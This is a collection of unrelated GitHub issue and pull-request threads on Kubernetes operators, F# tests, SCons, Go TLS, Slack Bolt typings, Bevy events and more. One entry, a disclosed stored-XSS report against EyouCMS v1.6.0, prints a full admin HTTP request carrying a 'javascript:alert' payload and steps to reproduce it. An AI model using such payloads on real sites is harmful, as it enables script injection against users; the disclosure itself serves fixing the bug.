fail to start minio-operator on EKS cluster

install harbor-operator 1.2.0 on AWS EKS cluster, the minio-operator failed to start as secret operator-tls not created
I0609 14:37:16.388152       1 operator.go:106] Waiting for the operator certificates to be issued timeout during certificate fetching of csr/operator-harbor-operator-ns-csr
I0609 14:37:26.404094       1 operator.go:104] operator TLS secret not found: secrets "operator-tls" not found
I0609 14:37:26.433941       1 operator.go:104] operator TLS secret not found: secrets "operator-tls" not found
I0609 14:37:26.457249       1 csr.go:189] Start polling for certificate of csr/operator-harbor-operator-ns-csr, every 5s, timeout after 20m0s
E0609 14:57:26.468512       1 operator.go:238] Unexpected error during the creation of the csr/operator-harbor-operator-ns-csr: timeout during certificate fetching of csr/operator-harbor-operator-ns-csr

current minio-operator version is 4.4.9.
it can be fixed by upgrade to latest 4.4.22


Migrate a set of fsharpqa tests to new test suite (overload resolution error messages)

This PR intends to migrate fsharpqa tests that are going to be impacted by #6596.
My plan is to be able to rebase the other PR once those tests from fsharpqa have been migrated to new suite.
Adjusting fsharpqa tests for multiline error message is too much effort, and it would save me some effort if this PR is pertinent.

[x] duplicate the relevant fsharpqa tests into the fsharp test suite
[x] update baseline files
[x] remove those tests from fsharpqa
[x] get all green

Note: I'm using .fsx files for the tests, the main reason is that the tooling picks up errors on the spot even if the files aren't loaded from a project; I can't get this behaviour to work in VS2019 with .fs files.

Master fsharpqa: https://dev.azure.com/dnceng/public/_build/results?buildId=167958
3176 tests passed (100.00%)
0 tests failed (0.00%)
0 tests were cascaded failures (0.00%)
0 tests returned "no result" (0.00%)
0 tests timed out (0.00%)
0 tests had test errors (0.00%)
========
3176 Total executed tests

this PR:
3164 tests passed (100.00%)
0 tests failed (0.00%)
0 tests were cascaded failures (0.00%)
0 tests returned "no result" (0.00%)
0 tests timed out (0.00%)
0 tests had test errors (0.00%)
========
3164 Total executed tests

-12 expected
Master Windows desktop_release: https://dev.azure.com/dnceng/public/_build/results?buildId=173798
Total tests: 392. Passed: 389. Failed: 0. Skipped: 3.
this PR:
Total tests: 404. Passed: 401. Failed: 0. Skipped: 3.
+12 expected
This is ready

Thanks for the feedback @KevinRansom, I wasn't able to run the migrated tests successfully under .netcore + failure on CI so I disabled them with the #define used in the tests.fs for now.
the error where it failed:

parameter error FS0193: Could not load file or assembly 'Microsoft.Build.Tasks.v4.0, Version=<IP_ADDRESS>, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'. The system cannot find the file specified.

https://dev.azure.com/dnceng/public/_build/results?buildId=173542
Maybe you'll know better if we can fix this and enable them on core compiler target.
I'm also wondering about the status of giving .fsx files to fsc.exe, the migrated fsharpqa tests are under .fsx for tooling reason (opening the file shows the errors, not if it is a .fs).
I’ve migrated that exact set of tests:
https://github.com/Microsoft/visualfsharp/pull/6596#issuecomment-486070137
I double checked it in the .lst changes, but it would be great to have it cross checked as well.

Thanks @brettfo there we go, -12 fsharpqa tests, +12 potentially multi target and easier to maintain tests 🙂.

I was just telling @brettfo, I would see what it took to make the singlenegtest handle coreclr as a weekend, fun/misery.  Project before long.
From: Gauthier Segay<EMAIL_ADDRESS>Sent: Tuesday, April 30, 2019 10:57 AM
To: Microsoft/visualfsharp<EMAIL_ADDRESS>Cc: Kevin Ransom<EMAIL_ADDRESS>Mention<EMAIL_ADDRESS>Subject: Re: [Microsoft/visualfsharp] Migrate a set of fsharpqa tests to new test suite (overload resolution error messages) (#6654)
Thanks for the feedback @KevinRansomhttps://nam06.safelinks.protection.outlook.com/?url=https%3A%2F%2Fgithub.com%2FKevinRansom&data=01|01|Kevin.Ransom%40microsoft.com|d920be2270c74147f4f808d6cd954228|72f988bf86f141af91ab2d7cd011db47|1&sdata=bblYVzkJr1gGBLRnYJZw6%2FU2EDHLYVXUQnzlrVr8X5g%3D&reserved=0, I wasn't able to run the migrated tests successfully under .netcore + failure on CI so I disabled them with the #define used in the tests.fs for now.
the error where it failed:
parameter error FS0193: Could not load file or assembly 'Microsoft.Build.Tasks.v4.0, Version=<IP_ADDRESS>, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'. The system cannot find the file specified.
https://dev.azure.com/dnceng/public/_build/results?buildId=173542https://nam06.safelinks.protection.outlook.com/?url=https%3A%2F%2Fdev.azure.com%2Fdnceng%2Fpublic%2F_build%2Fresults%3FbuildId%3D173542&data=01|01|Kevin.Ransom%40microsoft.com|d920be2270c74147f4f808d6cd954228|72f988bf86f141af91ab2d7cd011db47|1&sdata=mOU6IVBuGpDE2lnJpiBGwdTxBbmN1dbaN%2FdvOO5O1ps%3D&reserved=0
Maybe you'll know better if we can fix this and enable them on core compiler target.
I'm also wondering about the status of giving .fsx files to fsc.exe, the migrated fsharpqa tests are under .fsx for tooling reason (opening the file shows the errors, not if it is a .fs).
I’ve migrated that exact set of tests:
#6596 (comment)https://nam06.safelinks.protection.outlook.com/?url=https%3A%2F%2Fgithub.com%2FMicrosoft%2Fvisualfsharp%2Fpull%2F6596%23issuecomment-486070137&data=01|01|Kevin.Ransom%40microsoft.com|d920be2270c74147f4f808d6cd954228|72f988bf86f141af91ab2d7cd011db47|1&sdata=DArOzQRCKyYb%2F2hCI8SsBucEhUI9irJg%2F8TXgsR0Vog%3D&reserved=0
I double checked it in the .lst changes, but it would be great to have it cross checked as well.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHubhttps://nam06.safelinks.protection.outlook.com/?url=https%3A%2F%2Fgithub.com%2FMicrosoft%2Fvisualfsharp%2Fpull%2F6654%23issuecomment-488051742&data=01|01|Kevin.Ransom%40microsoft.com|d920be2270c74147f4f808d6cd954228|72f988bf86f141af91ab2d7cd011db47|1&sdata=nKJY3q294OWYaGoaGfZZ2s%2BksKBoXZSXKG7sIGw7uWo%3D&reserved=0, or mute the threadhttps://nam06.safelinks.protection.outlook.com/?url=https%3A%2F%2Fgithub.com%2Fnotifications%2Funsubscribe-auth%2FABHPUFSMVLISR7FFHYVESLDPTCB7FANCNFSM4HJIX52A&data=01|01|Kevin.Ransom%40microsoft.com|d920be2270c74147f4f808d6cd954228|72f988bf86f141af91ab2d7cd011db47|1&sdata=MhMBfWCJQTEW7IIESefRAyfxB4Xl28OoZD%2BGZrVEV5o%3D&reserved=0.

@brettfo @KevinRansom would you happen to know why the .bsl (& .err) files have redundant CR compared to textual output from the compiler?
It would be worth fixing it if we know the reason and it is not a big change (the diff in .bsl files will be big though).

I think it's best to treat those tests as a big blob of "Here there be dragons" … and cautiously migrate out the tests.  However, there is a big problem with doing that … the fsharpqa tests can use the F# compiler server, so we don't constantly spin up a new compiler for the tests that need compilation.  the Cambridge tests don't do that.  So migrating them earns us a slow down.
too much to do.


EyouCMS v1.6.0 existence stored cross-site scripting (XSS)

name：EyouCMS
version: EyouCMS-V1.6.0-UTF8-SP1
Installation package download：

Problematic packets:

POST /login.php?m=admin&c=Links&a=add&_ajax=1&lang=cn HTTP/1.1
Host: <IP_ADDRESS>:49160
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: application/json, text/javascript, /; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 141
Origin: http://<IP_ADDRESS>:49160
Connection: close
Referer: http://<IP_ADDRESS>:49160/login.php?m=admin&c=Links&a=add&lang=cn
Cookie: PHPSESSID=07lpb0tri05c4fqvd85em8u6rs; admin_lang=cn; home_lang=cn; ENV_UPHTML_AFTER=%7B%22seo_uphtml_after_home%22%3A0%2C%22seo_uphtml_after_channel%22%3A%221%22%2C%22seo_uphtml_after_pernext%22%3A%221%22%7D; workspaceParam=seo%7CSeo; ENV_GOBACK_URL=%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26typeid%3D5%26lang%3Dcn; ENV_LIST_URL=%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; admin-arctreeClicked-Arr=%5B%5D; admin-treeClicked-Arr=%5B%5D; referurl=http%3A%2F%2F<IP_ADDRESS>%3A49160%2F; img_id_upload=; ENV_IS_UPHTML=0; imgname_id_upload=
typeid=1&groupid=1&url=javascript%3Aalert(123)&title=XS&logo_local=&logo_remote=&province_id=0&city_id=&area_id=&sort_order=100&email=&intro=

Vulnerability recurrence
1.Log in to the background，Click "SEO module" ->"friendship link" ->"add link"

2.input payload：javascript:alert(11)，Submit

Click and trigger XSS after submission

PS：The vulnerability will also be displayed on the home page and can be triggered by clicking

已修复，在v1.6.2版本发布


Fixed or IE8

Changed .class to [‘class’] to remove reserved name issue in IE8

Thanks for your contribution!

Thanks for the free code!  It's a pleasure for me to give back a little :)

Not a problem, I enjoyed building this. Although I would like to refactor it. I think it could be better.


Add prometheus metrics for backup.status.volumeSnapshotsAttempted / volumeSnapshotsSucceeded

These two new fields capture the total number of volume snapshots tried, and succeeded, per backup.  We should add prometheus metrics to capture these (or the converse - failures).

I'll pick this up! Could you give me some more info, @skriss?

Yep! Now that #974 has merged, the two fields mentioned in the title exist.  They're populated here: https://github.com/heptio/ark/blob/master/pkg/controller/backup_controller.go#L401-L406
We would want to update this function: https://github.com/heptio/ark/blob/master/pkg/controller/backup_controller.go#L416 to record those values.
This would require adding two new metrics in the metrics package.  I haven't actually done this myself before, but I think you could follow the "backup attempts" and "backup success" examples (see https://github.com/heptio/ark/blob/master/pkg/metrics/metrics.go#L34-L35 and all the places within that file where those two constants are referenced).


Fix expansion of scons variables in LIBS

This issue was originally created at: 2009-04-30 15:55:48.
This issue was reported by: bradnelson.
bradnelson said at 2009-04-30 15:55:48

SCons/Scanner/Prog.py ====
59a60,65

# FROM THIS:
# TO THIS:
if env.get('LIBS_DO_SUBST'):
    libs = map(str, env.Flatten(env.subst_list(libs)))
# END CHANGES.

gregnoel said at 2009-05-13 21:16:37

Bug party triage.  SK to follow up with OP.

stevenknight said at 2009-11-10 18:00:19

stevenknight => issues@scons

Eh?  Is this asking for a new construction var?  It's so incomplete I recommend just tossing.

I'd argue there's no reason to not subst LIBS list?

I'm still trying to figure out what the request is (besides "12 years old", which is good for Whisky, and bad for bug reports).

I think it's this:
Normally you'd have LIBS=['a','b','c']
This change is to support
LIB_SET_ONE=['a','b']
LIB_SET_TWO=['c']

LIBS='$LIB_SET_ONE $LIB_SET_TWO'

And that doesn't work now?  Does the change require adding/checking the env var? If so, a tiny manpage add would be needed as well.

So, is it correct to assume this was to go at the end of _subst_libs. There's not enough context in the included diff to be sure, but SCons/Scanner/Prog.py hasn't changed much.

I'd argue there's no reason to not subst LIBS list?

Okay, some prospecting.  LIBS are subst'd in current code. That was added in a series of fixes a few years after this report by Alexey Klimkin with patch summaries like "Fix incomplete LIBS flattening and substitution in Program scanner".  Checking out the code as it was in 2009, substitutions were not done.  Ancient code:
    try:
        libs = env['LIBS']
    except KeyError:
        # There are no LIBS in this environment, so just return a null list:
        return []
    if SCons.Util.is_String(libs):
        libs = string.split(libs)
    else:
        libs = SCons.Util.flatten(libs)
    # << this was the point of the proposed addition

Current code calls a helper:
    try:
        libs = env['LIBS']
    except KeyError:
        # There are no LIBS in this environment, so just return a null list:
        return []
    libs = _subst_libs(env, libs)

and that function does substitution, directly if a string value; called recursively in case libs was a list.
I vote we close this as completed.

Annotating this: the fix seems to have been for SCons 2.3.5 as part of b22e9980df40305bb8beac3ea03bb045e01a031c
Closing.


Source dao test TestSourceSubcollectionWithUserOwnership() fix

without JIRA ticket
sometimes when I run the tests I get this result
--- FAIL: TestSourceSubcollectionWithUserOwnership (2.16s)
    source_dao_test.go:1082: Expected source IDS [103 105] are not same with obtained ids: [105 103]

I found out that subcollection source IDs can be returned in random order so they have to be sorted before comparing them with the expected result
EDIT:
updated other tests that contains same logic

added same fix for other tests (that contains same logic)


#1832 remove package pflag in pd-ctl

What problem does this PR solve?
remove package pflag in pd-ctl
What is changed and how it works?
Check List
Tests

Manual test (add detailed scripts or steps below)

Code changes
Side effects
Related changes

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

@rleungx BTW, I think the detach flag is unused in pd-ctl. Can we remove it?

@loxp   detach flag is reserved for compatibility, previously pd-ctl default mode was interactive.

/merge


fix(cicd): update tokens used

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.azlam seems not to be a GitHub user. You need a GitHub account to be able to sign the CLA. If you have already a GitHub account, please add the email address used for this commit to your account.You have signed the CLA already but the status is still pending? Let us recheck it.


ADOP Request VKG

Hi @Vipulgosai what's the purpose of this issue please? Thanks!

Closing as no response.


net/http: Transport VerifyHostname should be optional when using TLS

There should be an option to verify the certificate chain without verifying the hostname. Currently you can only disable both certificate and hostname verification using InsecureSkipVerify.
https://tools.ietf.org/html/rfc6125#appendix-B.2
...
If the client has external information as to the expected identity of
the server, the hostname check MAY be omitted.  (For instance, a
client may be connecting to a machine whose address and hostname are
dynamic but the client knows the certificate that the server will
present.)
...

A new boolean should be added to tls.Config named InsecureHostnameSkipVerify.

Why?

Why can't you just use Transport.DialTLS?

Are there examples anywhere?

Let's move this to the golang-nuts mailing list. We don't use our bug tracker for support requests.

That's OK, we just found it cheaper to patch 6 lines in the golang source for our project vs implementing a new method.

That sounds like a bad idea and a painful maintenance cost going forward. You're now running a forked version of Go instead of using the mechanisms it already provides. The Transport.DialTLS does exactly what you want.
But like I said, this should be discussed on the golang-nuts list. I'm just leaving this note here in case anybody finds this and considers making your same mistake.


Widget are not get loaded

Description:
When we click to see the widget of twitter analytics dashboard., it does not show the widgets and gets load. Issue on this PR
Steps to reproduce:
1.Start the dashboard
2.Click on the link to open portal dashboard
3.Click 'view' icon in the Twitter-Analytics dashboard
Issue

As per mail thread [Dev] Avoid loading multiple copies of React, this issue should be fixed carbon-dashboards


date-range date selection behaviour

Expected behaviour
Start date control allows to select from and to range.
Actual behaviour
Currently end date control allows this behavior and start date range selection is backwards (i.e. it allows you to select range starting from to date).
Datepicker version used
1.6.1.
Example code
Here is the sample.

Hi,
Actually the original behavior for the range picker was to select the start date in the start picker and the end date in the end picker.
Some people expected the range picker to actually be only one picker, and some changes according to this must have been merged at some point and it got all messed up.
I'm more of a two picker guy, my argument being that if you want to select a date range across multiple months it is just easier to have 2 pickers rather than one. But I'm also a two picker in only one dropdown picker guy, so I made my own arrangement like so.

Anywhosies, the DateRangePicker is perfectible and could actually have at least 3 different UI/UX design.
There is a lot to do on this topic and that why we are in favor of postponing a better implementation of the range picker later on (ie something like 2.1, 2.2), it is even planned to completely remove it in 2.0.
We promise that does not mean we don't care or that will let got this feature, but we want to make it great and take time on polishing it, but we have other priorities before this one, full explanation in the link above.
In the meantime we will provide support here for people that want to make range picker without the build-in class.

Thanks man!

Hi,
I have some ideas about the range picker.
The Story
So I'm a contributor of a time measurement and reporting application, called TimeAdmin, where date pickers are essential part of the UI. We needed a component to select month ranges, but we doesn't found any acceptable solution for that. So I asked a friend to create a month range picker for us.
Solution
It is a really simple component to select month ranges. It is only a single input and a single pane, you can select ranges with click and select an individual month with double click. Here is a demo, where you can check this out:
https://jsfiddle.net/suliatis/emcjaskh/5/
He used TypeScript and SASS to implement it, but I don't have the original sources, however you can try the behavior.
The Problem
It was great, but meanwhile I migrated all of the date pickers to bootstrap date picker and I realized our solution has some serious lack of features like internationalization. Also the creator of our original month range picker doesn't want to maintain the component.
I tried to use bootstrap date picker to select ranges instead of our custom component, but the user experience of the result was much more complicated, than the current behavior.
I still looking for a robust, but simple solution for our requirements which supports internationalization. Also, I would like to use, one component everywhere we need to work with date selection.
I understand it takes time to improve your date range picker solution and you have different ideas about the perfect date range picker. So it's only a suggestion to help your work.
If you have any ideas, how I can implement a similar behavior to our component with your library, I would really appreciate it.
Thanks,
Attila


Add bezel comp support to minimap

The minimap doesn't correctly represent the bezel correction we just added. It works well enough for thin bezels, but it's not 100% accurate and pretty obvious with large bezels.

Thanks @adielfernandez. Lmk if you want to check in on that together.

Addressed in #101


Refactor generator naming

Coverage decreased (-0.2%) to 96.032% when pulling 343bac01bbbd973dc139fd5c64f680a42cc40b4c on dev into 36ffa36288298c7c0cc42a260a7c450086430b22 on master.

Coverage decreased (-0.6%) to 95.584% when pulling 00308f17595658c265116da5722e6b9632474f25 on dev into 36ffa36288298c7c0cc42a260a7c450086430b22 on master.

Coverage decreased (-0.3%) to 95.899% when pulling 1cd28b8eb6e74ed781db423e980b70eb8c8ffb0e on dev into 36ffa36288298c7c0cc42a260a7c450086430b22 on master.


About tutorial 3 slam: Excuse me, how can I get the real value of UAV position and attitude?

Context
Please provide any relevant information about your setup.

Tutorial No.:[eg. Tutorial 3]
Mavros: [eg. 0.18.4]
ROS: [eg. Kinetic]
Gazebo: [eg. 7]
Ubuntu: [eg. 16.04]
System Platform: [eg. X86]

Expected
I want to verify the accuracy of SLAM estimotion, so I need to get the real value of UAV position and attitude.
Does anyone know how to implement this?
Which topic should I "rostopic echo ..."?
Question?
real position → which topic?
real attitude → which topic?
slam estimated position → which topic?
slam estimated attitude → which topic?
Hope to get your help!
Sincerely!

Sorry for late response, the topic of slam estimated position is /mavros/vision_pose/pose, and the topic of the position after fusion vision pose is /mavros/local_position/pose.


using the typescript definitions in an app

Description
Typescript typings for incoming events could be extremely helpful in developing an app, however the current typings seem a bit confusing to use.
Are there any examples that show how to use the slack typings on these basic events inside our own apps?
Then I would be able to get intellisense on all the fields that are getting passed in the request.
eg I was trying to add types on the incoming message event, I created my own ISlackEvent interface and was going to gradually type it.
    app.message(/.*/, async (slackEvent: ISlackEvent) => {

No overload matches this call.
  Overload 1 of 2, '(actionId: string | RegExp, ...listeners: Middleware<SlackActionMiddlewareArgs<SlackAction>>[]): void', gave the following error.
    Argument of type '(slackEvent: ISlackEvent) => Promise<void>' is not assignable to parameter of type
'Middleware<SlackActionMiddlewareArgs<SlackAction>>'.
      Types of parameters 'slackEvent' and 'args' are incompatible.
        Type 'SlackActionMiddlewareArgs<SlackAction> & AllMiddlewareArgs' is missing the following
properties from type 'ISlackEvent': message, store, sessionId
  Overload 2 of 2, '(constraints: ActionConstraints<SlackAction>, ...listeners: Middleware<SlackActionMiddlewareArgs<SlackAction>>[]): void', gave the following error.
    Type 'RegExp' has no properties in common with type 'ActionConstraints<SlackAction>'.

Which is fair enough since ISlackEvent was my naive type I was going to start adding fields to.
So then researching what there might be...
The message event signature:
    message(...listeners: Middleware<SlackEventMiddlewareArgs<'message'>>[]): void;

Then digging into those Middleware, I can't really see a simple description of the incoming payload.
export interface SlackEventMiddlewareArgs<EventType extends string = string> {
    payload: EventFromType<EventType>;

...

declare type EventFromType<T extends string> = KnownEventFromType<T> extends never ? BasicSlackEvent<T> : KnownEventFromType<T>;

eventually I get to this humdinger:
export declare type SlackEvent = AppRequestedEvent | AppHomeOpenedEvent | AppMentionEvent | AppUninstalledEvent | ChannelArchiveEvent | ChannelCreatedEvent | ChannelDeletedEvent | ChannelHistoryChangedEvent | ChannelLeftEvent | ChannelRenameEvent | ChannelSharedEvent | ChannelUnarchiveEvent | ChannelUnsharedEvent | DNDUpdatedEvent | DNDUpdatedUserEvent | EmailDomainChangedEvent | EmojiChangedEvent | FileChangeEvent | FileCommentDeletedEvent | FileCreatedEvent | FileDeletedEvent | FilePublicEvent | FileSharedEvent | FileUnsharedEvent | GridMigrationFinishedEvent | GridMigrationStartedEvent | GroupArchiveEvent | GroupCloseEvent | GroupDeletedEvent | GroupHistoryChangedEvent | GroupLeftEvent | GroupOpenEvent | GroupRenameEvent | GroupUnarchiveEvent | IMCloseEvent | IMCreatedEvent | IMHistoryChangedEvent | IMOpenEvent | InviteRequestedEvent | LinkSharedEvent | MemberJoinedChannelEvent | MemberLeftChannelEvent | MessageEvent | PinAddedEvent | PinRemovedEvent | ReactionAddedEvent | ReactionRemovedEvent | StarAddedEvent | StarRemovedEvent | SubteamCreated | SubteamMembersChanged | SubteamSelfAddedEvent | SubteamSelfRemovedEvent | SubteamUpdatedEvent | TeamDomainChangedEvent | TeamJoinEvent | TeamRenameEvent | TokensRevokedEvent | UserChangeEvent;
ahh hmm ok.
So maybe this is the nature of adding typings to a huge API after the fact, but it's quite hard to use these typings to assisting app development. eg related to #587
What type of issue is this? (place an x in one of the [ ])

[ ] bug
[x] enhancement (feature request)
[x] question
[x] documentation related
[ ] testing related
[x] discussion

Requirements (place an x in each of the [ ])

[x] I've read and understood the Contributing guidelines and have done my best effort to follow them.
[x] I've read and agree to the Code of Conduct.
[x] I've searched for any related issues and avoided creating a duplicate issue.

I may not fully understand your intention here but just for type-safety, you don't need to maintain your own type definitions. In other words, you cannot do so as long as you use Bolt.
If you want AllMiddlewareArgs to be exposed, I do emphasize that it'll be beneficial for TypeScript developers. But apart from the limitation, you can already take advantage of Bolt's types without any hurdles.

import { SlackEventMiddlewareArgs } from '@slack/bolt';

app.message("foo", async (args: SlackEventMiddlewareArgs<'message'>) => {
  const event = args.event;
  console.log(event);
});

app.message("foo", async ({ event }) => {
  console.log(event);
});

awesome thanks!
that was the syntax I was looking for, i wasn't sure how to pass the event type. now i can get proper completion on everything!

this maybe worth adding to the docs somewhere.

well I guess it wasn't as simple as replacing message with action ...

The type looks like this:

If you're using Visual Studio Code, you can easily check the actual type by hovering the arg value.
See also: https://github.com/slackapi/bolt-js/pull/349#issuecomment-566880355

How do I get typing on this?

Let me close this issue now. If you have anything further to discuss/ask here, please feel free to reopen and/or write in.


Skeleton E2E

As a first step at getting an e2e suite for GCS, we should have an automated job that (nightly?):

Brings up a kube cluster using this repo
Deploys GCS on that cluster
Verifies that the expected pods started

gluster (x3)
csi for gluster file (attacher, provisioner, node x3)

In the weekly status meeting, it was decided this should also start a Job to verify we can read/write to Gluster.

@nigelbabu @JohnStrunk I believe we're not yet ready to get this rolling for GCS 0.2? If so can one of you move it to GCS/0.3?

@nigelbabu ping! where're we on this?

I'm working on deploying GCS on CentOS CI. Currently looking through the deploy scripts to fill in any gaps, including host setup on CentOS CI. I expect the outcome of this issue to be a reproducable deployment that could be torn down completely and brought up fully to a known state against which tests from anteater could be run. Expect an update on Monday, 26th.

The CentOS CI job is green. However, there is a possibility that it doesn't always work reliably due to factors such as a delay in the network response and thus a timeout in the test. I'm now investigating the reliability of the deployments.


Question about StreamStore vs NotifierStore

Hello, thank you very much for your package. It is very useful for me. ;)
I see in flutter_triple that I can make stores with StreamStore or NotifierStore.
But I don't understand why you have two different type stores there.. why don't have only one?
Could you write me how much are different this 2 stores and in when I should use StreamStore and when NotifierStore?
Or is it never mind when I use first or second store?
Thank you very much for your response. :)

Thanks for the comment!
The difference is only in the reactivity.
Triple is a pattern that can be applied to any reactivity. If the developer thinks Streams is better then he will have a StreamStore, if he thinks ValueNotifier is better then we have ValueNotifier.
There is also a MobXStore :)

Ok, thank you very much for your answer :)


Unexpected fault during test does not cause test failure

Describe the bug
Faults during tests are not treated as test failure:
(...)
starting test - test_mutex_lock_timeout
***** MPU FAULT *****
  Data Access Violation
  MMFAR Address: 0xe
***** Hardware exception *****
Current thread ID = 0x20000468
Faulting instruction address = 0xfbbc
Fatal fault in thread 0x20000468! Aborting.
PASS - test_mutex_lock_timeout
========================================================
starting test - test_semaphore
PASS - test_semaphore
========================================================
starting test - test_mempool
***** BUS FAULT *****
  Imprecise data bus error
***** Hardware exception *****
Current thread ID = 0x20000518
Faulting instruction address = 0xf942
Fatal fault in thread 0x20000518! Aborting.
PASS - test_mempool
(...)
===================================================================
PROJECT EXECUTION SUCCESSFUL

To Reproduce
Trigger unexpected fault during test.
Expected behavior
Any unexpected fault should result in test failure.

this type of failures is caught when run in sanitycheck, when we run those tests on the command line there is no way to capture those exceptions, unless the test actually fails because of them.
Sanitycheck on the other hand looks for those exceptions and fails the test even if it reports success.


Add database migration for the user_invites table

Summary
The following adds a user_invites table.
Fixes: https://github.com/stacklok/minder/issues/3533
Change Type
Mark the type of change your PR introduces:

[ ] Bug fix (resolves an issue without affecting existing features)
[x] Feature (adds new functionality without breaking changes)
[ ] Breaking change (may impact existing functionalities or require documentation updates)
[ ] Documentation (updates or additions to documentation)
[ ] Refactoring or test improvements (no bug fixes or new functionality)

Testing
Outline how the changes were tested, including steps to reproduce and any relevant configurations.
Attach screenshots if helpful.
Review Checklist:

[x] Reviewed my own code for quality and clarity.
[ ] Added comments to complex or tricky code sections.
[ ] Updated any affected documentation.
[ ] Included tests that validate the fix or feature.
[ ] Checked that related changes are merged.

coverage: 53.127%. remained the same
when pulling 4a540fdd71a204856d3fd2cf32df2760f7ba3426 on invites-db
into 936892a2826579f5b2901507c9791ecd5675f4b6 on main.

coverage: 53.189% (-0.005%) from 53.194%
when pulling da82fa385ff734567033e98150fcbcd9b13f9683 on invites-db
into cded599b3fe48c805975f295c37146e86b21ed93 on main.

coverage: 53.189% (+0.005%) from 53.184%
when pulling bb19dd93e7b857df48bb620f1be74505abdea970 on invites-db
into 3d23d1e0064052d26e8a7ade4b694137c2225b0e on main.

coverage: 53.199% (+0.02%) from 53.184%
when pulling bb19dd93e7b857df48bb620f1be74505abdea970 on invites-db
into 3d23d1e0064052d26e8a7ade4b694137c2225b0e on main.

coverage: 53.189% (+0.005%) from 53.184%
when pulling bb19dd93e7b857df48bb620f1be74505abdea970 on invites-db
into 3d23d1e0064052d26e8a7ade4b694137c2225b0e on main.

coverage: 53.194% (+0.01%) from 53.184%
when pulling bb19dd93e7b857df48bb620f1be74505abdea970 on invites-db
into 3d23d1e0064052d26e8a7ade4b694137c2225b0e on main.

@evankanderson - Thanks for the tips! 🙏 I like how much cleaner it got after applying your feedback 👍

coverage: 53.256% (+0.02%) from 53.241%
when pulling dccb2683db5dd6a5fba9231df7edcbe64b4908af on invites-db
into d986b0c575a6a3d79ed66e0bfbf6e6f9f9b22303 on main.

coverage: 53.256% (+0.02%) from 53.241%
when pulling dccb2683db5dd6a5fba9231df7edcbe64b4908af on invites-db
into d986b0c575a6a3d79ed66e0bfbf6e6f9f9b22303 on main.

coverage: 53.108% (+0.004%) from 53.104%
when pulling 2c1623f9c6f0f5dce23f836795006a7bf3221f03 on invites-db
into 1ec9ffc9541a06022b6e95035e1bc4a40fb395e4 on main.

coverage: 53.114% (+0.01%) from 53.104%
when pulling 2c1623f9c6f0f5dce23f836795006a7bf3221f03 on invites-db
into 1ec9ffc9541a06022b6e95035e1bc4a40fb395e4 on main.

coverage: 53.137% (-0.01%) from 53.148%
when pulling 1edfbf62ee60da64c500c6cfb7406d22e9aec5ca on invites-db
into a21f1dd4ab31f40a789353d74f04b5544c6b5cc4 on main.

coverage: 53.143%. remained the same
when pulling e37c6a59f785b5b454263c2ee19c6bc01f3d80cc on invites-db
into 59c983986e18b94238473f668ea824b14109580c on main.


Consider adding non-draining event reader iterator

What problem does this solve or what need does it fill?
Trying to loop over received events of an EventReader<E> twice or more in the same system on the same frame. Currently iter() drains, so all but the first iteration time return 0 event.
This is also confusing since iter() on say, Vev<T>, will not drain, and since EventReader::iter() is the only method available it's easy to not think and misuse it.
What solution would you like?
Add a non-draining iterator with an explicit name, making it obvious this should not be your default choice for new users.
Something like:
EventReader::iter_peek();

or
EventReader::peek().iter();

fn peek() -> PeekingEventIterator;

This not only solves the non-draining issue, but also shows in docs that there are 2 types of iterators, which prompt the user to question which one they need, avoiding the confusion with the non-draining iter() found in the standard library.
What alternative(s) have you considered?
Manual event clearing. This is overkill and error-prone, much more so than calling (N-1) times the non-draining iterator proposed and one last time the draining one. Or doing N non-draining and a manual clear().
Additional context
I understand the default iter() being draining to avoid user error, so avoiding on purpose any method name already existing on standard Rust iterators like drain() to avoid confusion. iter_peek() sounds good and longer (so less enticing) than iter() but we can even make it even less likely to be used like iter_without_draining_advanced_use_only(), as long as we provide an escape hatch out of the always-drain default we have now.

EventReader::peek().iter();

One thing with this method actually is that we might be able to use a Drop impl on PeekingEventIterator to automatically handle the drain once dropped (if the user hasn't already).

One thing with this method actually is that we might be able to use a Drop impl on PeekingEventIterator to automatically handle the drain and event counter once dropped (if the user hasn't already).

That would be strange, if I scope my peek, then I cannot peek again after that because the Drop will have cleared the reader. I don't see how the reader would know that this peek was the last one for the scope. Or are you suggesting that the clear be in the Drop of EventReader itself? Or something else?

What if we implemented Clone on the EventReader?

Indeed, I have just started a slight rework of EventReader related infrastructure, which as a side point adds Clone to ManualEventReader. This use case is the perfect case to drop down to ManualEventReader

That would be strange, if I scope my peek, then I cannot peek again after that because the Drop will have cleared the reader. I don't see how the reader would know that this peek was the last one for the scope.

That makes sense. I guess I was thinking more for simple systems. But yeah, this wouldn't work if you created the peek in an inner function call, for example.

Or are you suggesting that the clear be in the Drop of EventReader itself?

That might be possible too, since the reader should only drop at the end of the main system. Although, that might be bad too if you need to take advantage of the 1-frame delay...

What if we implemented Clone on the EventReader?

Would that require T be Clone as well?

Would that require T be Clone as well?

I don't think so: we could clone the internal state, and the references to the events. The events themselves are never moved into the EventReader at all: they stay put in Res<Events<T>> (which, incidentally, is the current workaround).

which, incidentally, is the current workaround

@alice-i-cecile can you explain that statement please?

The underlying event information can be accessed through Res<Events<T>>. This allows users to create multiple ManualEventReader within a single system, avoiding the need to drain the events.
The other workaround that comes to mind is a bit sillier, but quite a lot simpler: simply add two EventReader<T> system parameters.

The other workaround that comes to mind is a bit sillier, but quite a lot simpler: simply add two EventReader<T> system parameters. Each will have their own internal state, and will be able to be iterated independently.

Doesn't it rely on Local, though? So having two should still affect the same local system state, right? Or does Local work differently than the way I think it does?

Each local is a different value. Consider:
fn sys(a: Local<u32>, b: Local<u32>){
    let a: &mut u32 = &mut *a;
